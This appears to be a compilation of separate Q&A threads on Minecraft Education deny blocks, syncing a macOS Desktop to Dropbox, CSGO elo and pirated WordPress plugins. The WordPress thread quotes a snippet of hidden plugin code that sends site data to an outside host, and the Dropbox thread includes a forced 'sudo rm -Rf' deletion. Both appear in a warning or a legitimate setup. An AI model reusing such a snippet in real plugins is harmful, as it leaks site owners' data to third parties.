Comment: Oh, I misread that, sorry! That sounds like a job for python scripting. Out of my league at the moment.

How to measure angle in QGIS


How do I make the blocks in spawn unbreakable?

Question: I'm making a Minecraft server on Minecraft education edition; more like a multiplayer server. Anyway, I want to know how to make the blocks in spawn unbreakable to everyone. I've tried to find my answer on YouTube and the Internet and didn't really find much.
Comment: Education Edition apparently has some special features for this that do not exist in the regular edition, so I am not inclined to cast the fifth duplicate vote here.
Answer: A quick google search is able to explain far better than we can here.
Since you are in Education Edition, Place some Deny Blocks near the bottom of the world. Only players with World Builder status will be able to modify this area.
Here is the entry from the Gamepedia Minecraft Wiki:

When placed, allow blocks let users without world builder status place or destroy blocks in the area above them, while deny blocks prohibit users from placing or destroying blocks in the area above them. Neither blocks will affect the area below them. If two allow or deny blocks are placed on top of one another, the block that is highest takes precedence. If an allow block is placed somewhere with a deny block below it, the space between the two blocks will be protected while the space above the allow block will permit users to place and destroy blocks. The converse is also true. However, these blocks are not impossible to destroy, as they can still be destroyed by mobs like ender dragons using commands.
Users with world builder status are able to place and destroy blocks regardless of where any allow or deny blocks are placed.


How to sync OS X desktop to Dropbox?

Question: How can I sync all my Desktop files to Dropbox, so that my desktop still feels, looks and works like a normal Desktop?
Comment: Please be more specific, are you saying you want to assign you're desktop folder as the location of your dropbox. Because I think the closest you can come to that is placing your dropbox folder inside of your desktop folder
Comment: If you want you're desktop folder to be copied they're automatically you can write cron script that should be able to do that for you daily.
Comment: how to do the script?
Comment: Some of these solutions seem over the top. Expecially since on a previous Dropbox install, I had set the Desktop as the actual Dropbox folder on install. Now on a new OSX host, the setup mechanism insists on creating a folder called Dropbox in the folder you select. It would be more useful to setup the complete desktop folder directly as the Dropbox folder on my subscribed 50GB Dropbox account.
Comment: Can't you just remove the Desktop dir and replace it with a symlink to somewhere in the dropbox folder?
Answer: Using Folder Actions
This will – whenever you add a new file – synchronize your Desktop with a Dropbox folder of your choice. First, create the Dropbox folder where you want your desktop files to stay, e.g. ~/Dropbox/Desktop.
Then, open up Automator.app and create a new Folder Action. On the top, select your real Desktop.

To the Automator action, add a Run Shell Script action from the left pane. Paste the following.
rsync -rta --delete ~/Desktop/ ~/Dropbox/Desktop/

Save the action.

Now, this will run by default, and whenever an item is added to your Desktop, it will be mirrored with the Dropbox. If you delete an item from your Desktop, there will be no changes, so you have to add something (e.g. create a new folder and delete it right away) to force a sync.
If you ever want to disable it, right-click your Desktop icon from Finder, and select Services » Folder Action Setup. Here, uncheck your Desktop.

Copying with cron
A very static, non-preferred way involves setting up cron. If you just want to copy the items, you can open your Terminal, and enter:
mkdir -p ~/Dropbox/Desktop
crontab -e

Then, paste the following, and save:
0   12  *   *   *   rsync -rt --delete ~/Desktop/ ~/Dropbox/Desktop/

This will make a backup every day, at 12:00. You can change the 12 to * to do this every hour. To disable it again, enter crontab -e and delete this line, then save.
Comment: Your symlink params are backwards: `ln -s ~/Dropbox/Desktop ~/Desktop`
Comment: +1 Symlinks all the way for "true" transparency.
Comment: -1 This answer contains three separate answers and should have been submitted as such. The symlink technique doesn't work, but instead creates a `~/Desktop/Desktop` folder that is synced, but still fails to sync other content in `~/Desktop`.
Comment: @JasonR.Coombs We actually prefer users to submit one answer if possible. I removed the symlink part. If you have a better symlink solution I'd appreciate if you could post that.
Comment: Thanks @slhck. I've changed my vote on this answer. I have drafted another answer based on symlinks, but I'm not yet happy with it. I hope to publish it in the future.
Answer: I prefer the symlink method, but when setting up additional Mac's to share the sync, it can get tricky.
First, I have a folder in Dropbox dedicated to "osx sync" ... e.g.: sync_osx

Before I setup the symlink on the new Mac, I temporary "move" the Desktop folder out of the sync_osx (but still inside the main DropBox folder).
I then open Terminal and type:
cd ~/Dropbox/sync_osx
ln -s ~/Desktop/ Desktop
Finally, I move the files back into the newly created Desktop folder in ~/Dropbox/sync_osx/Desktop.

By moving the files within the Dropbox folder, Dropbox quickly syncs and file change history remains intact.
Comment: This answer could be improved by clarifying that it's a _different_ way of using symlinks. It's keeping the `~/Desktop` folder as authoritative and linking _from_ the Dropbox-hosted folder. I don't like this technique because it relies on Dropbox being aware of and supporting that model (something which it explicitly [doesn't support on Windows](https://www.dropboxforum.com/hc/communities/public/questions/201893105-Dropbox-not-syncing-properly-with-folders-created-by-symbolic-links)).

Additionally, why go to all that trouble rather than linking `~/Desktop` to `~/Dropbox/sync_osx/Desktop`?
Answer: Since you want the content from your Desktop in Dropbox, I recommend first moving the content on your Desktop to Dropbox. You can put your Desktop anywhere in Dropbox, but I recommend directly as Dropbox/Desktop. I'll assume for now that you have Dropbox installed as ~/Dropbox and your Desktop as ~/Desktop. So to move the files:
# ensure the directory exists on Dropbox
mkdir -p ~/Dropbox/Desktop

# move local files to the Dropbox-hosted Desktop
mv ~/Desktop/* ~/Dropbox

Next, you want to create a symlink so that ~/Desktop redirects to ~/Dropbox/Desktop. However, you can't do that while there's an existing Folder at ~/Desktop, so you'll want to remove it.
Before you do that, though, you'll probably want to retain the Folder icon for the Desktop. The only way I know to do that is to copy it to the clipboard using Finder. Open Finder and navigate to your home directory, select the Desktop, and then Get Info on it (⌘I). Select the folder icon in the upper left and copy it to the clipboard (⌘C). Next, restore the icon for the Desktop folder by navigating to your Dropbox/Desktop folder in Finder, invoking Get Info on it, selecting the icon in the upper right, and pasting the icon that you copied earlier (⌘V).
Now you're ready to remove the old Desktop folder.
# remove ~/Desktop
sudo rm -Rf ~/Desktop

sudo is required to remove that folder because it is system-managed.
Then, create the symbolic link so that the Desktop is available from both locations:
ln -s Dropbox/Desktop ~/Desktop

The above technique should work on the first machine, but also subsequent machines, even if the new machines already have content on the Desktop (which gets merged with the cloud-hosted copy). It saves storage and minimizes synchronicity issues by only keeping one copy of the content on the disk.
Finally, I've observed that this technique causes the Desktop to be lost from the Sidebar / Favorites. Restore the shortcut in the Favorites by navigating in Finder to the Dropbox and dragging the Desktop to the Sidebar. Note that the icon for the Desktop in the Sidebar will be replaced by a generic Folder icon. I do not yet know a way to restore that icon (and it may not be possible).
I welcome any suggestions on improving this technique - specifically how to invoke all the actions through the command line or retaining the icon in the Sidebar.
This technique seems to work for other special folders too (Downloads, Documents, etc).
Comment: Here's a bash script I wrote to set up Desktop syncing using your approach. https://gist.github.com/apjanke/98a3374177de2b61bec1494a29474266. I've used it on a handful of OS X 10.9 and 10.11 machines. Seems to work fine.

It doesn't handle folder icons. Looks like `Rez`/`Derez` can do that, for someone with more time and motivation.
Comment: +1. Dunno why this answer's not getting any love. I prefer this to the other approaches: symlinking from Desktop to Dropbox means it's opt-in on a per-machine basis. Symlinking from Dropbox to Desktop looks like it'll push on any machine that Dropbox is installed on.

How to sync OS X desktop to Dropbox?


CSGO if my pc shut down and my team tied do I get elo?

Question: If my pc shut down and my team tied do I get elo? Because my PC restarted in the middle of the game and then when my PC restarted my team tied the game, I didn't get banned.
Comment: Is there not a match record that you can check to see if you gained/lost elo?
Answer: Check to see if the game is in your recently played matches. If it is, your ranking was affected.
Answer: It's threaded the same way as if you left the game. You have 3 minutes to restart the PC and join the game, after that it is a "Leave" and you basically lost.
Answer: You do gain elo, not from the entire match, but only from the rounds you played. You don't get elo from the rounds they played while you restarted your PC, but if you were still able to rejoin and play the final round, then you also get elo from that final round.
Comment: Can you include sources?


Can I download WordPress plugins from The Wordpress Club?

Question: Is it safe to download plugins from The Wordpress Club?
Answer: You shouldn't download any plugin from this or other pages. The guy writes on his page:

... is NOT nulled or cracked.

After checking some plugins, I can say, that every plugin is cracked. The code he uses is following. First he requires his two scripts he wrote:
require_once('rms-script-ini.php');
rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false);

A part from his code is following:
$GLOBALS['rms_report_to']            =   'https://managerly.org/wp-admin/admin-ajax.php';

$args=
[
    'method'      => 'POST',
    'timeout'     => 15,
    'redirection' => 15,
    'headers'     => ['Referer'=>$connect_to, 'User-Agent'=>$_SERVER['HTTP_USER_AGENT']],
    'body'        => $body
];
// Send to RMS
$curl   = new Wp_Http_Curl();
$result=$curl->request($connect_to, $args);
$result=(is_array($result) && isset($result['body'])) ? json_decode($result['body'], true) : null;

This code collects some data from your page and sends it to a strange page. This is just a part of his code but all in all, keep your fingers from this and buy a license! A person works hard for a plugin.
I wrote this question / answer because a friend asked me if he can download a plugin from this page so I checked it.
Answer: Just adding something in case anyone else ends up here, this is from their T&C :
Remote Access
By downloading any file from https://www.thewordpressclub.org and install it on your WordPress website, you allow TheWordpressClub to remotely control your website and so :
to modify the source code
to create and/or modify all post types content (posts, pages, products…)

This website is dangerous, do NOT install anything from there.